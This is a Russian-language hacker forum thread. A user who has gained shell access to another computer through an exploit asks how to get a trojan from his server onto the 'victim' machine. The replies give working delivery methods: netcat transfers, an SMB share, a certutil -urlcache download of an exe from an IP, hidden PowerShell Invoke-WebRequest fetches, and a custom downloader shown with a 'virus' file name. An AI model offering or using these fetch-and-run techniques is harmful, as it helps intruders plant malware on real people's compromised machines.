Как скачать файл.exe через cmd

[xejet]

Итак, я в локальной сети, через эксплоит получил доступ к командной строке другого компьютера. Теперь мне нужно подгрузить и запустить там троян который у меня лежит на сервере по прямой ссылке. Так как утилит wget и curl по умолчанию нет на удаленной машине, я подумал скачать файл с ftp сервера. Поднял ftp сервер, все настроил, подключился с командной строки взломанного компьютера, а оно не хочет качать в активном режиме. Пишет такую фразу Use PORT or PASV first. Погуглив оказалось что нужно перейти в пассивный режим. Но как оказалось cmd не поддерживает вообще пассивный режим, он работает только в активном. Зато терминал работает в пассивном (но мне от этого толку мало, у меня ведь не терминал).

В итоге я никак не могу загрузить файл, так как cmd удаленной машины не поддерживает по умолчанию пассивный режим. А других способов чтобы скачать файл.ехе я не нашел в интернете (да и вообще их походу не существует, убогий cmd ничего не умеет). Подскажите что можно сделать, чтобы загрузить троян жертве?

 

[id2746]

nc 192.168.1.100 5555 < 1.txt
nc -lvp 5555 > /tmp/1.txt

 

[xejet]

nc 192.168.1.100 5555 < 1.txt
nc -lvp 5555 > /tmp/1.txt

на виндовсе нет нетката

 

[mrOkey]

На 10ке обычно есть curl ,

 

[invetrika]

Написали же что не канает

 

[invetrika]

попробуй поднять SMB и сетевой типа ресурс на своём серваке, оттуда попробуй примонтировать его на свой комп и оттуда уже переходи запускай и качай чёкаво)
типа вот мануал по монтированию (только на сервере подними не забудь SMB штуки, а то не проканает)

[Решено:] Подключение сетевого диска через командную строку CMD

В продолжении двух предыдущей статей о способах подключения сетевых дисков: Подключение сетевого диска через GPO и Подключение сетевого диска batнапишу завершающую статью о том как подключить сетевые диски через командную строку cmd

www.nibbl.ru

 

[☠xrahitel☠]

1.тыц
2.тыц
3.тыц

 

[n01n02h]

certutil.exe -urlcache -split -f http://10.10.10.10/file.exe C:\Users\name\Desktop\file.exe

 

[ghostphisher]

'powershell -WindowStyle hidden Invoke-WebRequest -URI http://ip/file.exe -outfile C:\ПУТЬ\file.exe'

 

[KoffiCH]

Можешь использовать утилиту EDC которую я написал: Koffi-develop/EDC
Команда: edc.exe --url=http://127.0.0.1/file.txt --name=SuperPuperVirus.txt

 

[curl]

powershell Invoke-WebRequest -URI https://addr/filename -outfile filepath